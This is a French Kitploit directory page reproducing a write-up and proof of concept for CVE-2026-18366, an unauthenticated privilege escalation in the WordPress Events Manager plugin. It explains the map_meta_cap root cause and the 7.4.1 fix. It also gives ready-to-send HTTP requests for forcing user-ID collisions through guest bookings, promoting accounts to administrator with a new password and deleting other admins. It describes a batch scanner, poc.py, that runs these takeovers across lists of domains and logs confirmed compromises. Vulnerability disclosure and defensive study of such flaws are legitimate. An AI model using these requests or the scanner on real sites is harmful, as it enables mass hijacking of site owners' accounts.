Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-18366 — PoC d'élévation de privilèges non authentifiée pour WordPress Events Manager < 7.4.1 ; découvre les identifiants post/utilisateur en collision et élève les cibles au rang d'administrateur via REST ou wp-admin. | Kitploit
Outils/GitHubGitHub/ghostpels/cve-2026-18366
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'Informations
GitHubghostpels/cve-2026-18366

CVE-2026-18366

PoC d'élévation de privilèges non authentifiée pour WordPress Events Manager < 7.4.1 ; découvre les identifiants post/utilisateur en collision et élève les cibles au rang d'administrateur via REST ou wp-admin.

Voir le dépôt
il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-18366 — Events Manager < 7.4.1 : Élévation de privilèges non authentifiée à Administrateur

ProduitEvents Manager (plugin WordPress)
Versions affectées7.1.0 – 7.4.0.x
Version corrigée7.4.1
FaiblesseCWE-269 : Gestion de privilèges inappropriée
SévéritéCVSS 3.1 : 9.8 (Critique) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ID WPVDB82767ce2-01e4-46ad-a52b-72d3ab2049bd
Chercheur d'origineJakub Herman
Write-up & PoCghostpel

Chronologie de divulgation

  • 2026-08-03 — Events Manager 7.4.1 publié avec le correctif (version de sécurité de l'éditeur).
  • 2026-08-12 — entrée de l'IONIX Threat Center publiée.
  • 2026-08-21 — ce write-up et la preuve de concept (poc.py).

Résumé

Les versions 7.1.0 à 7.4.0.x d'Events Manager contiennent une vulnérabilité d'élévation de privilèges qui permet à un attaquant totalement non authentifié de prendre le contrôle de tout compte utilisateur dont l'ID entre en collision avec l'ID de l'un des posts du plugin (event / location / event-recurring / location-recurring). La collision peut être forcée sur les sites où les réservations invités sont activées (comportement par défaut) : chaque réservation invité crée un véritable compte utilisateur et fait avancer le compteur d'auto-incrémentation de wp_users d'un cran, permettant à un attaquant de « parcourir » l'espace des ID utilisateurs jusqu'à un ID de post event/location.

La cause racine : le filtre map_meta_cap du plugin écarte la liste de capacités que WordPress a déjà calculée ($caps = []) pour toute méta-capacité, dès lors que l'ID de l'objet de la capacité se résout vers un post event/location — y compris les capacités du noyau WordPress telles que edit_user, delete_user, promote_user et remove_user. Une liste de capacités vide est lue comme « aucune capacité requise » — c'est-à-dire autoriser tout le monde, y compris les utilisateurs déconnectés.

Conséquences (toutes non authentifiées, via l'API REST de WP) : modifier le mot de passe de tout compte en collision, l'élever au rôle administrator, ou le supprimer.

Version analysée : 7.4.0.1 (vulnérable) — comparée (diff) à 7.4.1 (corrigée).

Versions affectées

VersionStatut
≤ 7.0.5Non affectée (l'ancien em_map_meta_cap ne gère que les capacités propres à EM)
7.1.0 – 7.4.0.xVulnérable (le système d'archétypes avec le défectueux a été introduit en 7.1.0)

Cause racine — map_meta_cap vide $caps

classes/em-archetypes.php (version 7.4.0.1) :

Conséquence : chaque vérification current_user_can('edit_user', X) / delete_user / promote_user / remove_user renvoie VRAI dès lors que X est égal à l'ID d'un post event/location. Le plugin « écarte les décisions de contrôle d'accès que WordPress avait déjà prises » — exactement comme décrit par WPScan.

Le correctif dans 7.4.1

Vérifié en comparant 7.4.0.1 à 7.4.1 : la réinitialisation est désormais protégée par une correspondance exacte de capacité par branche (par ex. && $c['read'][$post->post_type] == $cap), donc $caps n'est vidée que lorsque la capacité demandée est réellement une méta-capacité d'archétype. Commentaire du patch : « Réinitialiser sur toute capacité portant un objet vidait la liste d'exigences pour des capacités sans rapport (par ex. edit_user, promote_user), ce qui était interprété comme une autorisation. »

Impact — opérations d'administration du noyau WordPress exposées (sans connexion, via l'API REST)

Les endpoints REST Users (/wp-json/wp/v2/users/{id}) n'ont pas de passerelle de connexion globale — le contrôle d'accès repose uniquement sur les callbacks de permission, qui transitent tous par le même filtre map_meta_cap :

Effet secondaire : edit_comment est également affecté lorsqu'un ID de commentaire se trouve être égal à un ID de post event/location (la table wp_comments partage le même espace numérique).

Forcer la collision d'ID via la réservation invité (point d'entrée)

La collision existe parce que wp_users.ID et wp_posts.ID sont des séquences d'auto-incrémentation indépendantes qui se chevauchent inévitablement. Les réservations invités la forcent :

  • em-install.php:896 — dbem_bookings_anonymous = 1 : réservations invités activées par défaut ; :871 dbem_bookings_registration_disable = 0 (inscription activée).
  • em-actions.php:340-344 — booking_add est dans $booking_nopriv_actions → appelable sans connexion (via wp_ajax_nopriv_booking_add, priorité 999999, lignes :817-830, ou wp_loaded :11).
  • em-actions.php:360-375 — flux de booking_add : → → → → . (Le nonce n'est qu'une protection CSRF — le nonce est inclus dans le formulaire de réservation public, donc n'importe qui peut l'obtenir.)

Chaîne secondaire observée lors de l'audit (attribution de la réservation via person_id) — events-manager.php:430-437 (em_load_event, $EM_Person depuis $_REQUEST['person_id'] sans connexion), em-booking.php:1060-1072 (get_person() remplace le person_id d'une nouvelle réservation), em-booking.php:2004-2006 (can_manage() = TRUE pour une réservation sans ID), em-functions.php:448-449 — inchangée dans 7.4.1 ; c'est un vecteur distinct (mauvaise attribution de réservation), pas le cœur de cette CVE.

Exploitation (non authentifiée)

  1. Déterminer l'ID cible. Énumérer les ID de posts event/location publics (permalinks, flux, /wp-json/wp/v2/event, ou force brute sur les ID séquentiels). Disons que la cible est N.
  2. (Facultatif — forcer la collision) Envoyer des réservations invités répétées pour que le prochain compte obtienne l'ID N :
    root@kitploit:~
    POST /wp-admin/admin-ajax.php?action=booking_add
      event_id=<E>&em_tickets[<T>][spaces]=1
      &user_email=attacker%40mail.com&user_name=Attacker
      &_wpnonce=<nonce from the public booking form>
    
    Chaque POST → un nouveau compte ; le compte avec l'ID N appartient à l'attaquant (le mot de passe est envoyé par e-mail à l'adresse de l'attaquant).
  3. Élever au rôle Administrateur + modifier le mot de passe :
    root@kitploit:~
    PUT /wp-json/wp/v2/users/N
    Content-Type: application/json
    {"password":"Pwned123!","roles":["administrator"]}
    
    Les callbacks de permission edit_user + promote_user passent car get_post(N) se résout vers un post event/location → $caps = []. (Si un — par ex. un ancien administrateur — possède déjà l'ID qui entre en collision avec un ID de post event, l'étape 2 est inutile ; l'attaquant prend directement le contrôle de ce compte.)

Prérequis

  • Events Manager 7.1 – 7.4.0.x installé et actif (les CPT event/location enregistrés).
  • Au moins un post event/location (son ID est la clé de collision).
  • Réservations invités activées (par défaut) — nécessaires uniquement pour forcer la collision ; les sites qui possèdent par hasard un compte dont l'ID est égal à un ID de post event/location sont directement attaquables via REST.

Preuve de concept — poc.py

poc.py est un PoC par lots asynchrone (asyncio + aiohttp) qui, pour chaque cible : identifie la version d'EM (restreinte à la plage vulnérable [7.1, 7.4.1)), découvre les ID de posts EM accessibles depuis l'extérieur (sitemap WP → /locations/, éventuellement un crawl du formulaire de réservation), sonde les ID découverts pour y trouver un compte utilisateur existant (la condition de collision), et élève ceux qui entrent en collision — via le canal REST, ou le canal wp-admin lorsqu'une session est fournie et que REST est bloqué. Pas de balayage aveugle de plage d'utilisateurs, pas de réservations invités, pas de création de compte.

Le runner multiplexe toutes les E/S sur une boucle d'événements unique (CPU quasi à 0 % lorsqu'il est contraint par les E/S ; -t plafonne la concurrence au lieu des cœurs), ne scanne sur la boucle que des portions d'en-tête plafonnées à 64 Kio, délègue les analyses lourdes (XML du sitemap, bundle de la page crawlée, formulaire de profil) à des threads de travail via asyncio.to_thread, et applique le délai de politesse à chaque tentative de page. La logique de forçage elle-même est inchangée (mêmes portes, mêmes oracles, même vérification).

root@kitploit:~
py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

Prérequis : Python 3.9+, pip install aiohttp.

Les résultats sont écrits en continu dans hasil.txt (prises de contrôle confirmées) et id-post.txt (chaque domaine vulnérable où des ID de posts EM ont été découverts, avec collision=yes/no/unknown).

Remarque : ce PoC a été reconstruit indépendamment à partir de l'analyse statique du code source 7.4.0.1 et du diff du patch 7.4.1 — ce n'est pas le PoC de WPScan.

TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT. À exécuter exclusivement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Le PoC effectue de simples requêtes HTTP — aucune évasion ; il peut être visible dans les journaux/IDS.

Atténuation

  • Mettre à jour vers Events Manager 7.4.1 ou une version ultérieure.
  • En attendant : désactiver les réservations invités (dbem_bookings_anonymous), restreindre les endpoints REST des utilisateurs au niveau du WAF, et surveiller les changements de mot de passe, les élévations de rôle et les suppressions de comptes.

Crédits

  • Découverte de la vulnérabilité : Jakub Herman (crédité par WPScan)
  • Write-up et PoC : ghostpel

Références

  • WPScan : https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
  • IONIX Threat Center : https://www.ionix.io/threat-center/cve-2026-18366/
  • VulDB : https://vuldb.com/cve/CVE-2026-18366
  • OpenCVE : https://app.opencve.io/cve/CVE-2026-18366
  • Stack.watch : https://stack.watch/vuln/CVE-2026-18366/
Télécharger l’outil
map_meta_cap
7.4.1Corrigée
LigneCodeRôle
:33add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );Filtre global, inconditionnel — s'exécute pour chaque vérification de méta-capacité WordPress, y compris celles du noyau et celles des utilisateurs déconnectés
:547if ( !empty( $args[0] ) ) {L'objet de la capacité est pris comme un ID de post
:548$post = get_post($args[0]);Collision d'ID : l'ID utilisateur cible (pour des capacités comme edit_user) est traité comme un ID de post
:551`if( empty($post->post_type)
:563`if ( !empty( $c['read'][$post->post_type] )
:564–565$caps = [];La liste de capacités est écartée inconditionnellement — même si la capacité demandée n'est pas une capacité d'archétype read/edit/delete_event
:568/577/584if/elseif branches$caps n'est réapprovisionnée que lorsque $cap correspond exactement à une méta-capacité d'archétype ; pour edit_user, delete_user, promote_user, remove_user aucune branche ne correspond → $caps reste vide
:597return $caps;Tableau vide = « aucune capacité requise » = AUTORISER tout le monde, y compris l'utilisateur ID 0
ActionEndpoint / fonction du noyauCapacité contournée
Modifier le mot de passe du compte ciblePUT /wp-json/wp/v2/users/{id} avec {"password":"..."} → wp_update_user() (vérification interne edit_user)edit_user
Élever le compte au rôle AdministrateurPUT /wp-json/wp/v2/users/{id} avec {"roles":["administrator"]}promote_user
Supprimer un compteDELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (vérification interne delete_user)delete_user
(Multisite) retirer un utilisateur du blogremove_userremove_user
em_verify_nonce('booking_add')
get_post()
validate()
em_booking_add_registration()
$EM_Bookings->add()
booking_add
  • em-functions.php:405-417 — branche invité : em_register_new_user($user_data) avec l'e-mail de l'attaquant.
  • em-functions.php:510 — wp_insert_user($user_data) → l'auto-incrémentation de wp_users avance de 1 à chaque réservation invité → l'attaquant contrôle le rythme de croissance du compteur d'ID utilisateurs jusqu'à ce qu'il atteigne l'ID de post event/location souhaité (WPScan : « chaque réservation invité crée un véritable compte utilisateur et fait avancer le compteur d'ID utilisateurs d'un cran »).
  • compte existant
    N
  • Supprimer d'autres comptes dont les ID entrent en collision (par ex. un autre administrateur) :
    root@kitploit:~
    DELETE /wp-json/wp/v2/users/M?reassign=N
    
  • Se connecter en tant qu'administrateur → compromission totale du site.